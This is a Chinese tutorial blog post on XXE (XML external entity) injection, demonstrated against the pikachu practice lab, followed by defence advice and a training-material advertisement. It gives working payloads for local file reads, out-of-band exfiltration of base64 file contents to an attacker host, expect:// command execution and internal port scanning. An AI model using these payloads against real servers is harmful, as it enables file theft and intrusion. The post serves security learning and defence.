XML基础

XML是一种非常流利的标记语言,在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。但是,在处理外部实体时,可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感信息,或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其它实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,取决于这些攻击的上下文。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的元语言。

文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
  <to>Dave</to>
  <from>Tom</from>
  <head>Reminder</head>
  <body>You are a good man</body>
</note>



DTD

DTD(document type definition,文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内部声明,也可以外部引用。
(1)内部的 DOCTYPE 声明
当DTD存在于XML源文件中,由以下格式进行包裹

<!DOCTYPE 根元素 [元素声明]>



然后XML文件对于DTD的内容进行引用
(2)外部文档声明
从XML文件外部引入DTD:

<!DOCTYPE 根元素 SYSTEM ”文件名”>



文件中存放的是元素声明,以.dtd后缀结尾。

DTD实体

(1)内部实体声明

<!ENTITY 实体名称 ”实体的值”>



<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>



这里定义元素为ANY说明接受任何元素,但是定义了一个XML的实体(实体其实可以看成一个变量,到时候我们可以在XML中通过&;进行引用)

<a>
<user>&xxe;</user>
<pass>mypass</pass>
</a>



使用&xxe;对上面定义的xxe实体进行了引用,到时候输出的时候&xxe;就会被“test”替换。
(2)外部实体声明

<!ENTITY 实体名称 SYSTEM ”URI”>或<实体名称PUBLIC"public_ID ""URI">



<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>



上面将实体分为两个派别(内部实体和外部实体),但是实际上从另一个角度看 ,实体可以分为另外两个派别(通用实体和参数实体)。
(3)参数实体声明

<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>



三种实体声明方式使用区别:
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://ip/remote.dtd">
%an-element; %remote-dtd;



XXE原理

xxe即xml外部实体注入。指xml数据在传输过程中被利用外部实体声明部分修改,导致服务器器执行了被修改的恶意代码,造成了读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

XXE分类
按构造外部实体声明
直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>



通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://192.168.0.11/evil.dtd">
    %d;
]>
<a>&xxe;</a>



evil.dtd

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">



通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d PUBLIC "PUBLIC_ID" "http://192.168.0.11/evil.dtd">
    %d;
]>
<a>&xxe;</a>



evil.dtd

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">



按输出信息
正常回显XXE

正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。

报错XXE

报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息,可根据错误信息的不同判断是否注入成功。

盲注XXE

当服务器没有回显,就需要选择使用盲注了。可组合利用file协议来读取文件或http协议和ftp协议来查看日志。

1.查看受攻击机的服务器日志
2.通过Dnslog平台查看是否进行查询
3.Burp Collaborator Everywhere 插件验证

分析原理
xxe.dtd:

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.11?c=%file;'>">



payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.11/xxe.dtd">
%remote;%int;%send;
]>



从payload中能看到连续待用了三个参数实体%remote;%int;%send;,这就是我们的利用顺序,%remote;先调用,调用后请求远程服务器上的xxe.dtd,有点类似于将xxe.dtd包含进来,然后%int;调用xxe.dtd中的%file;%file;就会去获取服务器上面的敏感文件,然后将%file;的结果填入到%send;后面(因为实体的值中不能有%,所以将其转换成html实体编码%#37;),我们在调用%send;把我们读取到的数据发送到我们远程VPS上,这样就实现了外带数据的效果,完美解决了XXE无回显的问题。

XXE危害(pikachu靶场演示)

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。下面会结合pikachu靶场的xxe模块来实战演示。pikachu靶场的xxe是提供了一 个接收xml数据的api 。
靶场地址:https://github.com/zhuifengshaonianhanlu/pikachu
直接解压在www路径下即可。
在这里插入图片描述

读取任意文件

PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件,还可利用PHP伪协议。
XML在各语言下支持的协议有:
在这里插入图片描述
在实施攻击之前可以简单判断一下是否存在回显数据:

<?xml version="1.0"?> 
<!DOCTYPE ANY [    
<!ENTITY xxe "菜鸟" > ]> 
<a>&xxe;</a>



可以看到回显了”菜鸟“,说明存在回显。(注意:只能判断是否存在回显,不能判断是否支持外部实体)
在这里插入图片描述

有回显

在知道存在回显后,可以尝试读取一些敏感目录,比如读取c:/windows/win.ini,它是每个windows系统都有的,linux系统的的话可以读取/etc/passwd,当然想要读取其他文件目录,只需更改绝对路径即可(file://协议只能用绝对路径)
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>



在这里插入图片描述
有些XML解析支持列目录,攻击者通过列目录、读文件,获取账号密码后进一步攻击,如读取tomcat-users.xml得到账号密码后登录tomcat的manager部署webshell。

无回显

也就是上面所说的盲注xxe。

方法1(服务器日志回显)

这里通过服务器请求包的信息来查看并读取文件。先准备测试环境,我靶场机所在ip为192.168.0.1,然后我使用另一台攻击机192.168.0.11上用python开启一个简单的http服务,在桌面打开终端输入下面命令:

python3 -m http.server 80



在这里插入图片描述
然后在桌面新建一个xxe.dtd文件写入下面内容
xxe.dtd:

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/xxe.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.11?c=%file;'>">



192.168.0.1靶机c盘下有一个xxe.txt,当然这里也可以读取其他文件:
在这里插入图片描述
payload:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.0.11/xxe.dtd">
%remote;%int;%send;
]>



在这里插入图片描述
在提交数据后页面是什么都没有显示的,回到http服务器上,可以看到刚刚提交数据的请求包信息,xxe.txt里面的内容被警告base64加密后所外带显示出来了c=d2VsY29tZQ==
在这里插入图片描述
在线base64解密https://base64.us/,成功得到文件内容,具体执行效果前面文章已经介绍过了。
在这里插入图片描述

方法2(查看DNS解析记录)

可以使受攻击服务器访问 DNS解析平台——http://www.dnslog.cn/http://ceye.io/平台
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://te8sv4.dnslog.cn">
    %d;
]>
<a>&xxe;</a>



说明XML解析成功,访问了te8sv4.dnslog.cn,具有XXE漏洞。
在这里插入图片描述

方法3(利用bp的Collaborator插件验证)

Collaborator插件位于extender模块下的Bapp Store,点击安装即可,在左上角打开Collaborator服务器:
在这里插入图片描述
点击复制到剪切 ,然后更换地址即可:
在这里插入图片描述
在这里插入图片描述
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://t606r6jh3sa4nrjus0ks29kwbnhe53.burpcollaborator.net">
    %d;
]>
<a>&xxe;</a>



可以看到Collaborator中收到了DNS解析记录和HTTP访问记录:
在这里插入图片描述

查看php源代码

查看php源代码一般用php伪协议php://filter
payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/phpinfo.php"> ]>
<a>&xxe;</a>



在这里插入图片描述
base64解码即可:
在这里插入图片描述

远程代码执行

这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。这里pikachu靶场演示不了。
payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "expect://whoami"> ]>
<user>&xxe;</user>



SSRF联动

XXE可以和SSRF(服务端请求伪造)漏洞(ssrf介绍文章请看:http://t.csdn.cn/fNFpi)一起用于探测其他内网主机的信息,基于http协议。

探测内网端口

可根据返回信息内容的接收响应时间来判断该端口是否打开。这里最好利用burpsuite的intruder模块。
payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:88" > ]> 
<foo>&xxe;</foo>



先抓包,右键发送到intruder模块,然后设置载荷:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
设置payload好后(这里为了方便快捷只探测1-100端口),开始攻击:
在这里插入图片描述
这时查看会发现它的响应状态都是200,这并不是所需的结果,需要按照发request包和回response包的间间间隔排序,这里设置一下所选列:
在这里插入图片描述
然后点击一下response received列,按大小排列,可以看到80和88端口接收响应计数为2,响应很快,代表这两个端口是开放的:
在这里插入图片描述

探测内网主机

同端口探测一样,可根据返回信息内容的接收响应时间来判断ip是否存在:
payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://192.168.0.11" > ]> 
<foo>&xxe;</foo>



在这里插入图片描述
在这里插入图片描述
设置后 payload后开始攻击,查看response received列:
在这里插入图片描述
可以看到有192.168.0.11、10主机,对比下nmap扫描网段结果:
在这里插入图片描述

探测内网文件

同读取任意文件一样,这里就不演示了。

防御XXE

XXE漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去检验DTD(document type definition)中SYSTEM标识符定义的数据,并不太容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML解析器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为False,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD都设置为false,从而避免基于XXE漏洞的攻击。

使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提供的 XML数据

过滤关键字:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC等。不允许XML中含有自己定义的DTD。

总结

本文只是对xxe漏洞基础学习所做的笔记,简单通过pikachu靶场了解xxe漏洞的原理以及各种利用方法和思路,并未更加深入去剖析,感兴趣可以结合多个靶场和工具去实战。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

在这里插入图片描述
在这里插入图片描述

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

在这里插入图片描述

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

img

2、Linux操作系统

img

3、WEB架构基础与HTTP协议

img

4、Web渗透测试

img

5、渗透测试案例分享

img

6、渗透测试实战技巧

图片

7、攻防对战实战

图片

8、CTF之MISC实战讲解

图片

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐